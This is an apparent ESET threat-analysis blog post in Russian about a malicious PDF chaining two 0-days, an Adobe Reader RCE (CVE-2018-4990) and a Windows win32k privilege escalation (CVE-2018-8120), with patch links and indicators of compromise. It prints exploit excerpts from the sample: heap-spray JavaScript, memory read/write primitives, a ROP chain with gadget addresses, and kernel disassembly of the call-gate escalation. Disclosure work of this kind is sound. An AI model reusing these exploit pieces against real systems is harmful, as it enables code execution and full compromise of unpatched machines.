



## ESET обнаружила две 0-day уязвимости в Adobe Reader и Microsoft Windows

16 мая 2018 года

В конце марта 2018 года специалисты ESET обнаружили необычный вредоносный PDF-файл. При ближайшем рассмотрении выяснилось, что в образце используются две ранее неизвестные уязвимости: уязвимость удаленного выполнения кода (RCE) в Adobe Reader и уязвимость повышения привилегий (LPE) в Microsoft Windows.



Комбинация двух 0-day довольно опасна, поскольку открывает атакующим возможность выполнять произвольный код в целевой системе с максимальными привилегиями и минимальным участием пользователя. АPT-группы нередко используют подобные сочетания инструментов – например, в [кампании Sednit](#) в прошлом году.

Обнаружив вредоносный PDF, специалисты ESET связались с Microsoft Security Response Center, командами Windows Defender ATP и Adobe Product Security Incident Response Team для закрытия уязвимостей.

Патчи и рекомендации Adobe и Microsoft доступны по следующим ссылкам:

- [APSB18-09](#)
- [CVE-2018-8120](#)

Уязвимостям подвержены следующие продукты:

- Acrobat DC (2018.011.20038 и более ранние версии)
- Acrobat Reader DC (2018.011.20038 и более ранние версии)
- Acrobat 2017 (011.30079 и более ранние версии)



- Acrobat Reader DC 2017 (2017.011.30079 и более ранние версии)
- Acrobat DC (Classic 2015) (2015.006.30417 и более ранние версии)
- Acrobat Reader DC (Classic 2015) (2015.006.30417 и более ранние версии)
- Windows 7 for 32-bit Systems Service Pack 1
- Windows 7 for x64-based Systems Service Pack 1
- Windows Server 2008 for 32-bit Systems Service Pack 2
- Windows Server 2008 for Itanium-Based Systems Service Pack 2
- Windows Server 2008 for x64-based Systems Service Pack 2
- Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1

Далее – техническое описание вредоносного образца и уязвимостей.

## Введение

Файлы PDF нередко используются для доставки вредоносного ПО на целевой компьютер. Для выполнения вредоносного кода атакующим приходится искать и использовать уязвимости в ПО для просмотра PDF. Одна из наиболее популярных подобных программ – Adobe Reader.

В Adobe Reader внедрена технология изолированного выполнения, более известная как песочница – Protected Mode. Ее детальное описание опубликовано в блоге Adobe ([часть 1](#), [часть 2](#), [часть 3](#), [часть 4](#)). Песочница усложняет реализацию атаки: даже если вредоносный код выполнен, злоумышленнику придется обойти защиту песочницы, чтобы скомпрометировать компьютер с запущенным Adobe Reader. Как правило, для обхода песочницы используются уязвимости в самой операционной системе.

Редкий случай, когда злоумышленникам удалось найти уязвимости и написать эксплойты и для Adobe Reader, и для операционной системы.

## CVE-2018-4990 – RCE-уязвимость в Adobe Reader

Во вредоносный PDF встроен JavaScript-код, управляющий процессом эксплуатации. Код выполняется после открытия PDF-файла.

В начале процесса эксплуатации JavaScript-код манипулирует объектом `Button1`. Объект содержит специально созданное изображение JPEG2000, которое запускает двойную уязвимость.

```
function myfun1()
{
    var array2 = new Array(0x200);
    for(var i1=1;i1<0x200;i1++)
    {
        array2[i1] = new Uint32Array(250);
    }

    var f1 = this.getField("Button1");
    if(f1)
    {
        f1.display = display.visible;
    }
    var sto2 = app.setTimeout("myfun2()",250);
}
```

Рисунок 1. JavaScript, манипулирующий объектом `Button`.

JavaScript использует технику heap-spraying, чтобы нарушить внутренние структуры данных. После этих манипуляций атакующие достигают главной цели – доступ к памяти с правами на чтение и запись.

```
function myread(addr)
{
    mydv.setUint32(mypos, addr, true);
    var res = myarray[0];
    mydv.setUint32(mypos, myarraybase, true);
    return res;
}
function mywrite(addr, value)
{
    mydv.setUint32(mypos, addr, true);
    myarray[0] = value;
    mydv.setUint32(mypos, myarraybase, true);
}
```

Рисунок 2. JavaScript-код, используемый для чтения и записи памяти.

Используя два примитива, атакующие находят адрес памяти плагина `EScript.api`, являющийся движком Adobe JavaScript. Используя ROP гаджеты из этого модуля, вредоносный JavaScript устанавливает ROP цепочку, которая приведет к выполнению нативного шеллкода.

```
mydv = biga;
var itmp = mydv.getUint32(i2+12, true);
myarray = arr1[itmp];
mypos = biga.getUint32(i2+4, true) - spraypos + 0x50;
mydv.setUint32(mypos - 0x10, 0x100000, true);
myarraybase = mydv.getUint32(mypos, true);
var rop1 = [0x6b78845b, 0x6b78845b, 0x6b78845a, 0x6b7d7084, 0x6b651767, 0x6b64230d, myarraybase,
0x6b65ecaf, 0x6b663a4b, myarraybase, 0x00010201, 0x00001000, 0x00000040, 0xc0000000, 0x41414141];
var obj1 = myread(myarraybase-8);
var obj2 = myread(obj1+4);
var obj3 = myread(obj2);
var dll_base = (myread(obj3+8) - 0x00010000) & 0xffff0000;
var bkm = this.bookmarkRoot;
var objescript = 0x23A598A4 - 0x23800000 + dll_base;
objescript = myread(objescript);
for(var i2=0; i2 < rop1.length; i2=i2+1)
{
    myarray[i2+3] = rop1[i2] > 0x6b640000 ? (rop1[i2] - 0x6b640000 + dll_base) : rop1[i2];
}
myarray[i2+3-2] = 0x90909090;
for(var i3=0; i3 < dllldata.length; i3=i3+1)
{
    myarray[i2+3+i3] = dllldata[i3];
}
mywrite(objescript, 0x6b707d06 - 0x6b640000 + dll_base);
mywrite(objescript+4, myarraybase);
mywrite(objescript+0x598, 0x6b68389f - 0x6b640000 + dll_base);
bkm.execute();
break;
```

Рисунок 3. Вредоносный JavaScript, устанавливающий ROP цепочку.

В качестве последнего шага, шеллкод инициализирует PE файл, встроенный в PDF, и передает ему выполнение.

## CVE-2018-8120 – повышение привилегий в Microsoft Windows

После эксплуатации уязвимости Adobe Reader злоумышленнику необходимо избавиться от песочницы. Это и есть задача второго эксплойта.

В основе этой ранее неизвестной уязвимости – функция `NtUserSetImeInfoEx` компонента ядра Windows `win32k`. В частности, `SetImeInfoEx`, подпрограмма `NtUserSetImeInfoEx`, не проверяет указатель данных, позволяя разыменовать нулевой (NULL) указатель.

```

.text:BF810A6C ; int __stdcall SetImeInfoEx(tagWINDOWSTATION *windowstation_obj, PVOID ime_obj)
.text:BF810A6C _SetImeInfoEx@8 proc near ; CODE XREF: NtUserSetImeInfoEx(x)+601p
.text:BF810A6C windowstation_obj= dword ptr 8
.text:BF810A6C ime_obj = dword ptr 0ch
.text:BF810A6C mov edi, edi
.text:BF810A6E push ebp
.text:BF810A6F mov ebp, esp
.text:BF810A71 mov eax, [ebp+windowstation_obj]
.text:BF810A74 test eax, eax
.text:BF810A76 jz short loc_BF810A92
.text:BF810A78 mov ecx, [eax+tagWINDOWSTATION.spk1List]
.text:BF810A7B push esi
.text:BF810A7C mov esi, [ebp+ime_obj]
.text:BF810A7F mov edx, [esi]
.text:BF810A81 mov eax, ecx
.text:BF810A83 loc_BF810A83: ; CODE XREF: SetImeInfoEx(x,x)+211j
.text:BF810A83 cmp [eax+tagKL.hk], edx
.text:BF810A86 jz short loc_BF810A96
.text:BF810A88 ; .text:BF810A88
-----
.text:BF810A96 loc_BF810A96: ; CODE XREF: SetImeInfoEx(x,x)+1A1j
.text:BF810A96 mov eax, [eax+2ch]
.text:BF810A99 test eax, eax
.text:BF810A9B jz short loc_BF810A8F
.text:BF810A9D cmp dword ptr [eax+48h], 0
.text:BF810AA1 jnz short loc_BF810AAC
.text:BF810AA3 push edi
.text:BF810AA4 push 57h
.text:BF810AA6 pop ecx
.text:BF810AA7 mov edi, eax
.text:BF810AA9 rep movsd
.text:BF810AAB pop edi
.text:BF810AAC loc_BF810AAC: ; CODE XREF: SetImeInfoEx(x,x)+351j
.text:BF810AAC xor eax, eax
.text:BF810AAE inc eax
.text:BF810AAF jmp short loc_BF810A91
.text:BF810AAF _SetImeInfoEx@8 endp

```

Рисунок 4. Дизассемблированная функция `SetImeInfoEx`.

Как видно на рисунке 4, функция `SetImeInfoEx` ожидает указатель на инициализированный объект `WINDOWSTATION` в качестве первого аргумента. `Spk1List` может быть равен нулю, если атакующий создает новый объект `WS` и присваивает его текущему процессу в пользовательском режиме. Таким образом, маппинг нулевой страницы и установка указателя на смещение (offset) `0x2C` позволяет злоумышленникам использовать уязвимость для записи на произвольный адрес в пространстве ядра. Стоит отметить, что, начиная с Windows 8, пользовательский процесс не может преобразовать данные нулевой страницы.

Поскольку у атакующих есть произвольный пишущий примитив, они могут использовать различные техники. Но в нашем случае злоумышленники выбирают технику, описанную [IvanIef0u](#), а также [Mateusz «j00ru» Jurczyk](#) и [Gynvael Coldwin](#). Они устанавливают шлюз вызова в Ring 0, перезаписав глобальную таблицу дескрипторов (GDT). Для этого злоумышленники получают адрес исходной GDT, используя инструкции по сборке SGDT, создают собственную таблицу и затем перезаписывают оригинал с использованием упомянутой уязвимости.

Затем эксплойт использует команду `CALL FAR` для вызова уровня привилегий.

```

.text:004016F7 loc_4016F7: ; CODE XREF: use_callgate+B51j
.text:004016F7 xor eax, eax
.text:004016F9 mov word ptr [ebp+ptr], ax
.text:004016FD xor ecx, ecx
.text:004016FF mov word ptr [ebp+ptr+2], cx
.text:00401703 mov edx, 1A0h
.text:00401708 mov word ptr [ebp+ptr+4], dx
.text:0040170C call fword ptr [ebp+ptr]

```

Рисунок 5. Дизассемблированная команда `CALL FAR`.



Когда код выполняется в режиме ядра, эксплойт заменяет токен текущего процесса системным токеном.

## Выводы

Специалисты ESET обнаружили вредоносный PDF, когда тот был загружен в публичный репозиторий вредоносных образцов. Семпл не содержит финальной полезной нагрузки, что может указывать на то, что он был обнаружен на ранних этапах разработки. Несмотря на это, авторы продемонстрировали высокую квалификацию в области поиска уязвимостей и написания эксплойтов.

## Индикаторы компрометации (IoC)

### Детектирование продуктами ESET:

```
JS/Exploit.Pdfka.QNV trojan  
Win32/Exploit.CVE-2018-8120.A trojan
```

### SHA-1:

```
C82CFEAD292EECA601D3CF82C8C5340CB579D1C6  
0D3F335CCCA4575593054446F5F219EBA6CD93FE
```